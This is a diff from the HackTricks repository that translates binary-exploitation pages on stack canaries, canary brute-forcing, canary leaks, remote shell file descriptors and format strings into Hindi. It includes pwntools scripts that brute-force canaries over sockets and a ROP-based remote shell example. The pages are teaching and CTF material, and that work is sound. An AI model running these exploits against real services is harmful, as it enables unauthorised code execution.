ओवरफ्लो से बचाने के लिए। हालाँकि, `recv()`, `memcpy()`, `read()`, और `bcopy()` जैसी फ़ंक्शन कमजोर रहती हैं, और यह **EBP (Base Pointer)** की सुरक्षा नहीं करता है। -**StackShield** takes a more sophisticated approach than StackGuard by maintaining a **Global Return Stack**, which stores all return addresses (**EIPs**). This setup ensures that any overflow does not cause harm, as it allows for a comparison between stored and actual return addresses to detect overflow occurrences. Additionally, StackShield can check the return address against a boundary value to detect if the **EIP** points outside the expected data space. However, this protection can be circumvented through techniques like Return-to-libc, ROP (Return-Oriented Programming), or ret2ret, indicating that StackShield also does not protect local variables. +**StackShield** StackGuard की तुलना में एक अधिक परिष्कृत दृष्टिकोण अपनाता है, जो एक **Global Return Stack** बनाए रखता है, जो सभी रिटर्न पते (**EIPs**) को संग्रहीत करता है। यह सेटअप सुनिश्चित करता है कि कोई भी ओवरफ्लो नुकसान नहीं पहुँचाता है, क्योंकि यह संग्रहीत और वास्तविक रिटर्न पते के बीच तुलना की अनुमति देता है ताकि ओवरफ्लो की घटनाओं का पता लगाया जा सके। इसके अतिरिक्त, StackShield रिटर्न पते की तुलना एक सीमा मान से कर सकता है ताकि यह पता लगाया जा सके कि क्या **EIP** अपेक्षित डेटा स्थान के बाहर इंगित करता है। हालाँकि, इस सुरक्षा को Return-to-libc, ROP (Return-Oriented Programming), या ret2ret जैसी तकनीकों के माध्यम से दरकिनार किया जा सकता है, यह संकेत करता है कि StackShield स्थानीय चर की भी सुरक्षा नहीं करता है। ## **Stack Smash Protector (ProPolice) `-fstack-protector`:** -This mechanism places a **canary** before the **EBP**, and reorganizes local variables to position buffers at higher memory addresses, preventing them from overwriting other variables. It also securely copies arguments passed on the stack above local variables and uses these copies as arguments. However, it does not protect arrays with fewer than 8 elements or buffers within a user's structure. +यह तंत्र **EBP** से पहले एक **canary** रखता है, और स्थानीय चर को पुनर्गठित करता है ताकि बफर उच्च मेमोरी पते पर स्थित हों, जिससे वे अन्य चर को ओवरराइट नहीं कर सकें। यह स्थानीय चर के ऊपर स्टैक पर पास किए गए तर्कों को सुरक्षित रूप से कॉपी करता है और इन कॉपियों का उपयोग तर्कों के रूप में करता है। हालाँकि, यह 8 तत्वों से कम वाले ऐरे या उपयोगकर्ता की संरचना के भीतर बफर की सुरक्षा नहीं करता है। -The **canary** is a random number derived from `/dev/urandom` or a default value of `0xff0a0000`. It is stored in **TLS (Thread Local Storage)**, allowing shared memory spaces across threads to have thread-specific global or static variables. These variables are initially copied from the parent process, and child processes can alter their data without affecting the parent or siblings. Nevertheless, if a **`fork()` is used without creating a new canary, all processes (parent and children) share the same canary**, making it vulnerable. On the **i386** architecture, the canary is stored at `gs:0x14`, and on **x86_64**, at `fs:0x28`. +**canary** एक यादृच्छिक संख्या है जो `/dev/urandom` से प्राप्त होती है या इसका डिफ़ॉल्ट मान `0xff0a0000` होता है। इसे **TLS (Thread Local Storage)** में संग्रहीत किया जाता है, जिससे थ्रेड्स के बीच साझा मेमोरी स्थानों में थ्रेड-विशिष्ट वैश्विक या स्थिर चर हो सकते हैं। ये चर प्रारंभ में माता-पिता प्रक्रिया से कॉपी किए जाते हैं, और बाल प्रक्रियाएँ अपने डेटा को माता-पिता या भाई-बहनों को प्रभावित किए बिना बदल सकती हैं। फिर भी, यदि **`fork()` का उपयोग बिना नए canary बनाए किया जाता है, तो सभी प्रक्रियाएँ (माता-पिता और बच्चे) एक ही canary साझा करती हैं**, जिससे यह कमजोर हो जाता है। **i386** आर्किटेक्चर पर, canary `gs:0x14` पर संग्रहीत होता है, और **x86_64** पर, `fs:0x28` पर। -This local protection identifies functions with buffers vulnerable to attacks and injects code at the start of these functions to place the canary, and at the end to verify its integrity. +यह स्थानीय सुरक्षा उन फ़ंक्शनों की पहचान करती है जिनमें बफर हमलों के प्रति संवेदनशील होते हैं और इन फ़ंक्शनों की शुरुआत में कोड इंजेक्ट करती है ताकि canary को रखा जा सके, और अंत में इसकी अखंडता की पुष्टि करने के लिए। -When a web server uses `fork()`, it enables a brute-force attack to guess the canary byte by byte. However, using `execve()` after `fork()` overwrites the memory space, negating the attack. `vfork()` allows the child process to execute without duplication until it attempts to write, at which point a duplicate is created, offering a different approach to process creation and memory handling. +जब एक वेब सर्वर `fork()` का उपयोग करता है, तो यह canary बाइट को बाइट द्वारा अनुमान लगाने के लिए एक ब्रूट-फोर्स हमले को सक्षम करता है। हालाँकि, `fork()` के बाद `execve()` का उपयोग मेमोरी स्थान को ओवरराइट करता है, जिससे हमले को नकारा जाता है। `vfork()` बाल प्रक्रिया को डुप्लिकेशन के बिना निष्पादित करने की अनुमति देता है जब तक कि यह लिखने का प्रयास नहीं करता, जिस बिंदु पर एक डुप्लिकेट बनाया जाता है, जो प्रक्रिया निर्माण और मेमोरी प्रबंधन के लिए एक अलग दृष्टिकोण प्रदान करता है। -### Lengths +### लंबाई -In `x64` binaries, the canary cookie is an **`0x8`** byte qword. The **first seven bytes are random** and the last byte is a **null byte.** +`x64` बाइनरी में, canary कुकी एक **`0x8`** बाइट क्यूवर्ड है। **पहले सात बाइट यादृच्छिक** हैं और अंतिम बाइट एक **null byte** है। -In `x86` binaries, the canary cookie is a **`0x4`** byte dword. The f**irst three bytes are random** and the last byte is a **null byte.** +`x86` बाइनरी में, canary कुकी एक **`0x4`** बाइट ड्वॉर्ड है। **पहले तीन बाइट यादृच्छिक** हैं और अंतिम बाइट एक **null byte** है। > [!CAUTION] -> The least significant byte of both canaries is a null byte because it'll be the first in the stack coming from lower addresses and therefore **functions that read strings will stop before reading it**. +> दोनों canaries का सबसे कम महत्वपूर्ण बाइट एक null byte है क्योंकि यह स्टैक में सबसे पहले होगा जो निम्न पते से आ रहा है और इसलिए **जो फ़ंक्शन स्ट्रिंग पढ़ते हैं वे इसे पढ़ने से पहले रुक जाएंगे**। -## Bypasses +## बायपास -**Leaking the canary** and then overwriting it (e.g. buffer overflow) with its own value. +**canary को लीक करना** और फिर इसे अपने मान (जैसे बफर ओवरफ्लो) के साथ ओवरराइट करना। -- If the **canary is forked in child processes** it might be possible to **brute-force** it one byte at a time: +- यदि **canary को बाल प्रक्रियाओं में fork किया गया है** तो इसे एक बाइट में ब्रूट-फोर्स करना संभव हो सकता है: {{#ref}} bf-forked-stack-canaries.md {{#endref}} -- If there is some interesting **leak or arbitrary read vulnerability** in the binary it might be possible to leak it: +- यदि बाइनरी में कुछ दिलचस्प **लीक या मनमाना पढ़ने की कमजोरी** है तो इसे लीक करना संभव हो सकता है: {{#ref}} print-stack-canary.md {{#endref}} -- **Overwriting stack stored pointers** +- **स्टैक में संग्रहीत पॉइंटर्स को ओवरराइट करना** -The stack vulnerable to a stack overflow might **contain addresses to strings or functions that can be overwritten** in order to exploit the vulnerability without needing to reach the stack canary. Check: +स्टैक जो स्टैक ओवरफ्लो के प्रति संवेदनशील है, **स्ट्रिंग्स या फ़ंक्शंस के पते को शामिल कर सकता है जिन्हें ओवरराइट किया जा सकता है** ताकि कमजोरी का लाभ उठाया जा सके बिना स्टैक canary तक पहुँचने की आवश्यकता के। जाँच करें: {{#ref}} ../../stack-overflow/pointer-redirecting.md {{#endref}} -- **Modifying both master and thread canary** +- **मास्टर और थ्रेड canary दोनों को संशोधित करना** -A buffer **overflow in a threaded function** protected with canary can be used to **modify the master canary of the thread**. As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified). +एक बफर **ओवरफ्लो एक थ्रेडेड फ़ंक्शन में** जो canary से सुरक्षित है, का उपयोग **थ्रेड के मास्टर canary को संशोधित करने के लिए किया जा सकता है**। परिणामस्वरूप, यह शमन बेकार है क्योंकि जाँच दो समान canaries के साथ की जाती है (हालाँकि संशोधित)। -Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\ -As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\ -This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) +इसके अलावा, एक बफर **ओवरफ्लो एक थ्रेडेड फ़ंक्शन में** जो canary से सुरक्षित है, का उपयोग **TLS में संग्रहीत मास्टर canary को संशोधित करने के लिए किया जा सकता है**। इसका कारण यह है कि, यह संभव हो सकता है कि थ्रेड के स्टैक में **bof** के माध्यम से TLS में संग्रहीत मेमोरी स्थिति तक पहुँचा जा सके (और इसलिए, canary)।\ +परिणामस्वरूप, यह शमन बेकार है क्योंकि जाँच दो समान canaries के साथ की जाती है (हालाँकि संशोधित)।\ +यह हमला लिखने में किया गया है: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup. +जाँच करें [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) की प्रस्तुति जो यह उल्लेख करती है कि आमतौर पर **TLS** को **`mmap`** द्वारा संग्रहीत किया जाता है और जब एक **थ्रेड** का **स्टैक** बनाया जाता है तो इसे भी `mmap` द्वारा उत्पन्न किया जाता है, जो पिछले लिखने में दिखाए गए ओवरफ्लो की अनुमति दे सकता है। -- **Modify the GOT entry of `__stack_chk_fail`** +- **`__stack_chk_fail` के GOT प्रविष्टि को संशोधित करना** -If the binary has Partial RELRO, then you can use an arbitrary write to modify the **GOT entry of `__stack_chk_fail`** to be a dummy function that does not block the program if the canary gets modified. +यदि बाइनरी में Partial RELRO है, तो आप **`__stack_chk_fail` के GOT प्रविष्टि को** एक डमी फ़ंक्शन में संशोधित करने के लिए एक मनमाना लेखन का उपयोग कर सकते हैं जो canary के संशोधित होने पर कार्यक्रम को अवरुद्ध नहीं करता है। -This attack is performed in the writeup: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) +यह हमला लिखने में किया गया है: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) -## References +## संदर्भ - [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html) - [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md index 89eee29ec..d3c0ac74c 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md @@ -2,55 +2,54 @@ {{#include ../../../banners/hacktricks-training.md}} -**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.** +**यदि आप एक कैनरी और PIE (पोजीशन इंडिपेंडेंट एक्सीक्यूटेबल) द्वारा संरक्षित बाइनरी का सामना कर रहे हैं, तो आपको शायद उन्हें बायपास करने का एक तरीका खोजने की आवश्यकता है।** ![](<../../../images/image (865).png>) > [!NOTE] -> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\ -> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting. +> ध्यान दें कि **`checksec`** यह नहीं पता लगा सकता है कि एक बाइनरी कैनरी द्वारा संरक्षित है यदि इसे स्थिर रूप से संकलित किया गया था और यह फ़ंक्शन की पहचान करने में असमर्थ है।\ +> हालाँकि, आप इसे मैन्युअल रूप से देख सकते हैं यदि आप पाते हैं कि एक मान फ़ंक्शन कॉल की शुरुआत में स्टैक में सहेजा गया है और इस मान की जांच बाहर निकलने से पहले की जाती है। -## Brute force Canary +## ब्रूट फोर्स कैनरी -The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**. +एक साधारण कैनरी को बायपास करने का सबसे अच्छा तरीका है यदि बाइनरी एक प्रोग्राम है **जो हर बार जब आप इसके साथ एक नया कनेक्शन स्थापित करते हैं तो चाइल्ड प्रोसेस को फोर्क करता है** (नेटवर्क सेवा), क्योंकि हर बार जब आप इससे कनेक्ट होते हैं **तो वही कैनरी का उपयोग किया जाएगा**। -Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**): +फिर, कैनरी को बायपास करने का सबसे अच्छा तरीका है बस इसे **चर द्वारा चर ब्रूट-फोर्स करना**, और आप यह पता लगा सकते हैं कि क्या अनुमानित कैनरी बाइट सही थी यह जांचकर कि क्या प्रोग्राम क्रैश हुआ है या अपनी नियमित धारा में जारी है। इस उदाहरण में फ़ंक्शन **8 बाइट्स कैनरी (x64)** को ब्रूट-फोर्स करता है और एक सही अनुमानित बाइट और एक खराब बाइट के बीच अंतर करता है बस **जांचकर** कि क्या सर्वर द्वारा एक **प्रतिक्रिया** वापस भेजी गई है (एक अन्य तरीके में **अन्य स्थिति** में **try/except** का उपयोग करना हो सकता है): -### Example 1 - -This example is implemented for 64bits but could be easily implemented for 32 bits. +### उदाहरण 1 +यह उदाहरण 64 बिट्स के लिए लागू किया गया है लेकिन इसे 32 बिट्स के लिए आसानी से लागू किया जा सकता है। ```python from pwn import * def connect(): - r = remote("localhost", 8788) +r = remote("localhost", 8788) def get_bf(base): - canary = "" - guess = 0x0 - base += canary +canary = "" +guess = 0x0 +base += canary - while len(canary) < 8: - while guess != 0xff: - r = connect() +while len(canary) < 8: +while guess != 0xff: +r = connect() - r.recvuntil("Username: ") - r.send(base + chr(guess)) +r.recvuntil("Username: ") +r.send(base + chr(guess)) - if "SOME OUTPUT" in r.clean(): - print "Guessed correct byte:", format(guess, '02x') - canary += chr(guess) - base += chr(guess) - guess = 0x0 - r.close() - break - else: - guess += 1 - r.close() +if "SOME OUTPUT" in r.clean(): +print "Guessed correct byte:", format(guess, '02x') +canary += chr(guess) +base += chr(guess) +guess = 0x0 +r.close() +break +else: +guess += 1 +r.close() - print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) - return base +print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) +return base canary_offset = 1176 base = "A" * canary_offset @@ -58,43 +57,41 @@ print("Brute-Forcing canary") base_canary = get_bf(base) #Get yunk data + canary CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary ``` +### उदाहरण 2 -### Example 2 - -This is implemented for 32 bits, but this could be easily changed to 64bits.\ -Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload. - +यह 32 बिट्स के लिए लागू किया गया है, लेकिन इसे 64 बिट्स में आसानी से बदला जा सकता है।\ +यह भी ध्यान दें कि इस उदाहरण के लिए **कार्यक्रम ने पहले इनपुट के आकार को इंगित करने के लिए एक बाइट की अपेक्षा की** और पेलोड। ```python from pwn import * # Here is the function to brute force the canary def breakCanary(): - known_canary = b"" - test_canary = 0x0 - len_bytes_to_read = 0x21 +known_canary = b"" +test_canary = 0x0 +len_bytes_to_read = 0x21 - for j in range(0, 4): - # Iterate up to 0xff times to brute force all posible values for byte - for test_canary in range(0xff): - print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") +for j in range(0, 4): +# Iterate up to 0xff times to brute force all posible values for byte +for test_canary in range(0xff): +print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") - # Send the current input size - target.send(len_bytes_to_read.to_bytes(1, "little")) +# Send the current input size +target.send(len_bytes_to_read.to_bytes(1, "little")) - # Send this iterations canary - target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) +# Send this iterations canary +target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) - # Scan in the output, determine if we have a correct value - output = target.recvuntil(b"exit.") - if b"YUM" in output: - # If we have a correct value, record the canary value, reset the canary value, and move on - print(" - next byte is: " + hex(test_canary)) - known_canary = known_canary + test_canary.to_bytes(1, "little") - len_bytes_to_read += 1 - break +# Scan in the output, determine if we have a correct value +output = target.recvuntil(b"exit.") +if b"YUM" in output: +# If we have a correct value, record the canary value, reset the canary value, and move on +print(" - next byte is: " + hex(test_canary)) +known_canary = known_canary + test_canary.to_bytes(1, "little") +len_bytes_to_read += 1 +break - # Return the canary - return known_canary +# Return the canary +return known_canary # Start the target process target = process('./feedme') @@ -104,18 +101,17 @@ target = process('./feedme') canary = breakCanary() log.info(f"The canary is: {canary}") ``` - ## Threads -Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-forc**e a canary if the binary spawns a new thread every time an attack happens. +एक ही प्रक्रिया के थ्रेड भी **एक ही कैनरी टोकन** साझा करेंगे, इसलिए यह संभव होगा कि हम **ब्रूट-फोर्स** एक कैनरी कर सकें यदि बाइनरी हर बार हमले के होने पर एक नया थ्रेड उत्पन्न करती है। -Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\ -As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\ -This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) +इसके अलावा, एक थ्रेडेड फ़ंक्शन में **बफर ओवरफ्लो** जो कैनरी से सुरक्षित है, का उपयोग **TLS में संग्रहीत मास्टर कैनरी को संशोधित करने** के लिए किया जा सकता है। इसका कारण यह है कि, यह संभव हो सकता है कि थ्रेड के **स्टैक** में एक **bof** के माध्यम से उस मेमोरी स्थिति तक पहुँचा जा सके जहाँ TLS संग्रहीत है (और इसलिए, कैनरी)।\ +इसके परिणामस्वरूप, यह शमन बेकार है क्योंकि जांच दो समान कैनरी के साथ की जाती है (हालांकि संशोधित)।\ +यह हमला इस लेख में किया गया है: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup. +इसके अलावा, [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) की प्रस्तुति देखें जो बताती है कि आमतौर पर **TLS** को **`mmap`** द्वारा संग्रहीत किया जाता है और जब एक **थ्रेड** का **स्टैक** बनाया जाता है, तो इसे भी `mmap` द्वारा उत्पन्न किया जाता है, जो पिछले लेख में दिखाए गए ओवरफ्लो की अनुमति दे सकता है। ## Other examples & references - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) - - 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there. +- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there. diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md index e4d3eed44..9e4c54c88 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md @@ -4,30 +4,30 @@ ## Enlarge printed stack -Imagine a situation where a **program vulnerable** to stack overflow can execute a **puts** function **pointing** to **part** of the **stack overflow**. The attacker knows that the **first byte of the canary is a null byte** (`\x00`) and the rest of the canary are **random** bytes. Then, the attacker may create an overflow that **overwrites the stack until just the first byte of the canary**. +एक ऐसी स्थिति की कल्पना करें जहाँ एक **program vulnerable** to stack overflow **puts** फ़ंक्शन को **pointing** कर सकता है **part** of the **stack overflow**. हमलावर जानता है कि **canary का पहला byte एक null byte** है (`\x00`) और बाकी का canary **random** bytes हैं। फिर, हमलावर एक overflow बना सकता है जो **stack को overwrite करता है जब तक कि canary का पहला byte** नहीं हो जाता। -Then, the attacker **calls the puts functionalit**y on the middle of the payload which will **print all the canary** (except from the first null byte). +फिर, हमलावर **payload के मध्य में puts functionality** को **call** करता है जो **सभी canary को print करेगा** (पहले null byte को छोड़कर)। -With this info the attacker can **craft and send a new attack** knowing the canary (in the same program session). +इस जानकारी के साथ हमलावर **canary को जानकर एक नया हमला तैयार और भेज** सकता है (उसी program session में)। -Obviously, this tactic is very **restricted** as the attacker needs to be able to **print** the **content** of his **payload** to **exfiltrate** the **canary** and then be able to create a new payload (in the **same program session**) and **send** the **real buffer overflow**. +स्पष्ट रूप से, यह रणनीति बहुत **restricted** है क्योंकि हमलावर को अपने **payload** की **content** को **print** करने में सक्षम होना चाहिए ताकि **canary** को **exfiltrate** कर सके और फिर एक नया payload (उसी **program session** में) बना सके और **real buffer overflow** को **send** कर सके। **CTF examples:** - [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` +- 64 bit, ASLR सक्षम लेकिन कोई PIE नहीं, पहला कदम overflow को भरना है जब तक canary का byte 0x00 नहीं हो जाता ताकि फिर puts को call किया जा सके और इसे leak किया जा सके। canary के साथ एक ROP gadget बनाया जाता है जो puts को call करता है ताकि GOT से puts का पता leak किया जा सके और फिर एक ROP gadget जो `system('/bin/sh')` को call करता है। - [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html) - - 32 bit, ARM, no relro, canary, nx, no pie. Overflow with a call to puts on it to leak the canary + ret2lib calling `system` with a ROP chain to pop r0 (arg `/bin/sh`) and pc (address of system) +- 32 bit, ARM, कोई relro नहीं, canary, nx, कोई pie नहीं। इसे leak करने के लिए puts पर एक call के साथ overflow करें + ret2lib जो `system` को ROP chain के साथ call करता है ताकि r0 (arg `/bin/sh`) और pc (system का पता) को pop किया जा सके। ## Arbitrary Read -With an **arbitrary read** like the one provided by format **strings** it might be possible to leak the canary. Check this example: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) and you can read about abusing format strings to read arbitrary memory addresses in: +एक **arbitrary read** के साथ जैसे कि format **strings** द्वारा प्रदान किया गया, canary को leak करना संभव हो सकता है। इस उदाहरण को देखें: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) और आप पढ़ सकते हैं कि format strings का दुरुपयोग करके कैसे arbitrary memory addresses को पढ़ा जा सकता है: {{#ref}} ../../format-strings/ {{#endref}} - [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html) - - This challenge abuses in a very simple way a format string to read the canary from the stack +- यह चुनौती एक बहुत सरल तरीके से format string का दुरुपयोग करती है ताकि stack से canary को पढ़ा जा सके। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/common-exploiting-problems.md b/src/binary-exploitation/common-exploiting-problems.md index 1aaf06372..9e3d05e1a 100644 --- a/src/binary-exploitation/common-exploiting-problems.md +++ b/src/binary-exploitation/common-exploiting-problems.md @@ -1,15 +1,14 @@ -# Common Exploiting Problems +# सामान्य शोषण समस्याएँ {{#include ../banners/hacktricks-training.md}} -## FDs in Remote Exploitation +## दूरस्थ शोषण में FDs -When sending an exploit to a remote server that calls **`system('/bin/sh')`** for example, this will be executed in the server process ofc, and `/bin/sh` will expect input from stdin (FD: `0`) and will print the output in stdout and stderr (FDs `1` and `2`). So the attacker won't be able to interact with the shell. +जब एक दूरस्थ सर्वर को एक शोषण भेजा जाता है जो **`system('/bin/sh')`** को कॉल करता है, उदाहरण के लिए, यह सर्वर प्रक्रिया में निष्पादित होगा, और `/bin/sh` stdin (FD: `0`) से इनपुट की अपेक्षा करेगा और stdout और stderr (FDs `1` और `2`) में आउटपुट प्रिंट करेगा। इसलिए हमलावर शेल के साथ इंटरैक्ट नहीं कर पाएगा। -A way to fix this is to suppose that when the server started it created the **FD number `3`** (for listening) and that then, your connection is going to be in the **FD number `4`**. Therefore, it's possible to use the syscall **`dup2`** to duplicate the stdin (FD 0) and the stdout (FD 1) in the FD 4 (the one of the connection of the attacker) so it'll make feasible to contact the shell once it's executed. - -[**Exploit example from here**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit): +इसका एक समाधान यह है कि मान लिया जाए कि जब सर्वर शुरू हुआ, तो उसने **FD संख्या `3`** (सुनने के लिए) बनाई और फिर, आपका कनेक्शन **FD संख्या `4`** में होगा। इसलिए, यह संभव है कि syscall **`dup2`** का उपयोग करके stdin (FD 0) और stdout (FD 1) को FD 4 (हमलावर के कनेक्शन वाला) में डुप्लिकेट किया जाए ताकि यह शेल से संपर्क करना संभव हो सके जब इसे निष्पादित किया जाए। +[**यहाँ से शोषण उदाहरण**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit): ```python from pwn import * @@ -26,13 +25,12 @@ p.sendline(rop.chain()) p.recvuntil('Thanks!\x00') p.interactive() ``` - ## Socat & pty -Note that socat already transfers **`stdin`** and **`stdout`** to the socket. However, the `pty` mode **include DELETE characters**. So, if you send a `\x7f` ( `DELETE` -)it will **delete the previous character** of your exploit. +ध्यान दें कि socat पहले से ही **`stdin`** और **`stdout`** को सॉकेट पर स्थानांतरित करता है। हालाँकि, `pty` मोड **DELETE वर्णों** को **शामिल करता है**। इसलिए, यदि आप `\x7f` ( `DELETE` -) भेजते हैं, तो यह **आपके एक्सप्लॉइट के पिछले वर्ण को हटा देगा**। -In order to bypass this the **escape character `\x16` must be prepended to any `\x7f` sent.** +इससे बचने के लिए **escape character `\x16` को भेजे गए किसी भी `\x7f` से पहले जोड़ा जाना चाहिए।** -**Here you can** [**find an example of this behaviour**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.** +**यहाँ आप** [**इस व्यवहार का एक उदाहरण पा सकते हैं**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**।** {{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index 3d7bfa018..1de5e4b9f 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -2,22 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -
- -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} - ## Basic Information -In C **`printf`** is a function that can be used to **print** some string. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text. +C में **`printf`** एक फ़ंक्शन है जिसका उपयोग कुछ स्ट्रिंग को **प्रिंट** करने के लिए किया जा सकता है। इस फ़ंक्शन की **पहली पैरामीटर** जो अपेक्षित है, वह है **फॉर्मेटर्स के साथ कच्चा टेक्स्ट**। **अन्य पैरामीटर** जो अपेक्षित हैं, वे हैं **मान** जो कच्चे टेक्स्ट से **फॉर्मेटर्स** को **बदलने** के लिए हैं। -Other vulnerable functions are **`sprintf()`** and **`fprintf()`**. +अन्य संवेदनशील फ़ंक्शन हैं **`sprintf()`** और **`fprintf()`**। -The vulnerability appears when an **attacker text is used as the first argument** to this function. The attacker will be able to craft a **special input abusing** the **printf format** string capabilities to read and **write any data in any address (readable/writable)**. Being able this way to **execute arbitrary code**. +संवेदनशीलता तब प्रकट होती है जब **हमलावर टेक्स्ट को इस फ़ंक्शन के पहले तर्क के रूप में उपयोग किया जाता है**। हमलावर एक **विशेष इनपुट तैयार करने** में सक्षम होगा जो **printf फॉर्मेट** स्ट्रिंग क्षमताओं का दुरुपयोग करके किसी भी पते (पढ़ने योग्य/लिखने योग्य) में **कोई भी डेटा पढ़ने और लिखने** की अनुमति देगा। इस तरह से **मनमाना कोड निष्पादित** करने में सक्षम होना। #### Formatters: - ```bash %08x —> 8 hex bytes %d —> Entire @@ -28,72 +21,58 @@ The vulnerability appears when an **attacker text is used as the first argument* %hn —> Occupies 2 bytes instead of 4 $X —> Direct access, 